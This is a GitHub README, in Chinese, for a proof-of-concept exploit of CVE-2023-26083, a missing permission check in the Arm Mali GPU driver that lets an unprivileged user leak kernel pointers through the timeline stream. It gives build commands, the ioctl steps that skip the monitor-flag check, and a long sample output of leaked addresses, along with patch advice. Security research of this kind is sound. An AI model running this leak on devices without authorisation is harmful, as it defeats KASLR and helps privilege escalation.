Noverisp3/CVE-2023-26083

GitHub: Noverisp3/CVE-2023-26083

Arm Mali GPU 驱动程序 timeline stream 权限校验缺失导致内核地址泄露漏洞的概念验证工具。

Stars: 0 | Forks: 0

# CVE-2023-26083 – 通过 Timeline Stream 泄露 Mali GPU 内核地址 本仓库包含 **CVE-2023-26083** 的概念验证(PoC)利用代码,这是 Mali GPU 驱动程序(Arm Mali GPU Kernel Driver)中的一个漏洞,允许无特权用户通过 timeline stream(`/dev/mali0`)泄露内核指针和敏感的内部信息。 ## 漏洞概述 Mali GPU 驱动程序提供了一个用于性能分析和调试的“timeline stream”(tlstream)功能。此 stream 导出的事件包含原始的内核指针(例如 `kbase_context`、`kbase_gpu`、`kbase_lpu`、地址空间、atoms 等的地址)。通常,访问此 stream 应当需要 `BASE_CONTEXT_CREATE_FLAG_MONITOR` 标志。然而,由于 `KBASE_IOCTL_TLSTREAM_ACQUIRE` 处理程序中缺少权限检查,任何进程(即使没有 monitor 标志)都可以获取 timeline stream 的文件描述符并读取内核内存地址。 **影响:** - 泄露内核指针会破坏内核 ASLR (KASLR)。 - 与其他漏洞(例如 use-after-free、任意写入)结合使用时,这可能导致权限提升或任意内核代码执行。 - 泄露本身会暴露内部的驱动程序状态,并可能被用于指纹识别。 ## 受影响版本 - 早于 CVE-2023-26083 修复版本的 Arm Mali GPU Kernel Driver 版本。 ## 构建与运行 ### 前置条件 - 配备 Mali GPU 的设备(例如 Exynos、MediaTek、部分 Rockchip SoC)。 - **不需要** Root 权限 —— 该 PoC 以无特权用户身份运行。 - 内核必须内置 Mali 驱动程序或将其作为模块加载(必须存在 `/dev/mali0`)。 ### 编译 由于代码是自包含且独立的,您可以使用标准工具轻松地对其进行交叉编译。 #### 1. 适用于 Android(推荐) 使用 Android NDK 工具链为 ARM64 设备进行编译。强烈建议使用静态链接,以防止在不同 Android 版本上出现动态链接器兼容性问题: ``` aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c ``` #### 2. 适用于基于 ARM 的 Linux 桌面/开发板 如果您正在配备 Mali GPU 且运行标准 Linux 发行版的 ARM 开发板(如 Raspberry Pi 或 Odroid)上进行测试: ``` gcc -static -o mali_tlstream_leak mali_tlstream_leak.c ``` ### 执行 ``` ./mali_tlstream_leak ``` 程序将执行以下操作: 1. 打开 `/dev/mali0`。 2. 执行版本检查。 3. 将标志设置为 `BASE_CONTEXT_CREATE_FLAG_NONE`(无 monitor 特权)。 4. 获取 timeline stream(存在漏洞的 ioctl)。 5. 读取 timeline 数据包几秒钟。 6. 解析并显示泄露的内核指针(标记为 `*** KERNEL`)。 ## 示例输出 **注意:**此概念验证(PoC)仅在运行 Android 8.1.0(Kernel 3.18)且带有 2020 年 4 月 1 日安全补丁级别的 Samsung Galaxy J7 Prime 上进行了测试。 ``` on7xelte:/data/local/tmp $ ./mali_tlstream_leak Version: major=11 minor=5 SET_FLAGS ok TLSTREAM_ACQUIRE ok, tlfd=4 Read 3805 bytes from tlstream (total=3805) Raw hex dump (3805 bytes): 0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00 0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e 0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63 0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64 0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74 0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00 0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e 0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63 0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64 0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70 00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f 00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53 00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00 00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63 00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00 00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c 0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42 0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00 0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20 0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40 0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d 0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53 0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00 0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62 0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00 0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72 01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00 01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e 01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65 01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78 01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54 Parsing packets: Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0 Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0 [NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526 [NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510 [NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126 [NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0 [NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1 [NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2 [NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3 [NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4 [NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5 [NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6 [NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7 [NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1 [LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL [LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL [LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL [LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL [LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL [LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL [LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL [LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL [LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL [LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL [LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL [NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465 [NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116 [NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342 [NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216 [NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044 [NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525 [NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367 [NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263 [NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858 [NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256 [NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645 [NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976 [NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409 [NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613 ``` 如上所示,该 PoC 成功泄露了多个内核地址: - LPU(逻辑处理单元)对象 - Address Space (AS) 对象 - GPU 对象 - Context 对象(kbase_context) ## 代码解释 关键步骤如下: 1. **打开 `/dev/mali0`** – 标准的 Mali 设备接口。 2. **KBASE_IOCTL_VERSION_CHECK** – 初始化驱动程序上下文所必需。 3. **KBASE_IOCTL_SET_FLAGS** – 将 create_flags 设置为 `BASE_CONTEXT_CREATE_FLAG_NONE`(无 monitor 特权)。 这通常应该会阻止对 tlstream 的访问,但该漏洞允许绕过限制。 4. **KBASE_IOCTL_TLSTREAM_ACQUIRE** – 为 timeline stream 获取一个新的文件描述符。 尽管缺少 monitor 标志,ioctl 仍会返回一个有效的 fd。 5. **read()** – 读取原始的 timeline 数据包。 6. **Parser** – 解码数据包头和 timeline 事件消息,提取内核指针。 ## 缓解措施 / 补丁 将您的内核更新为包含 CVE-2023-26083 修复程序的版本。 或者,如果您是制造商,请应用来自 Arm 或 Linux 内核稳定分支的补丁。 ## 免责声明 **此代码仅用于教育和安全研究目的。** 未经明确许可在此类系统上使用此漏洞利用程序可能会违反相关法律。作者不对任何滥用或此软件造成的损害负责。请仅在您拥有或获得书面授权进行测试的设备上使用它。 ## 参考 - [CVE-2023-26083](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26083) - [NIST NVD - CVE-2023-26083](https://nvd.nist.gov/vuln/detail/cve-2023-26083) ## 作者 Noveris
标签:Android, DSL, Mali GPU, Web报告查看器, 内核信息泄露, 安全渗透, 客户端加密, 漏洞验证程序, 目录枚举, 移动安全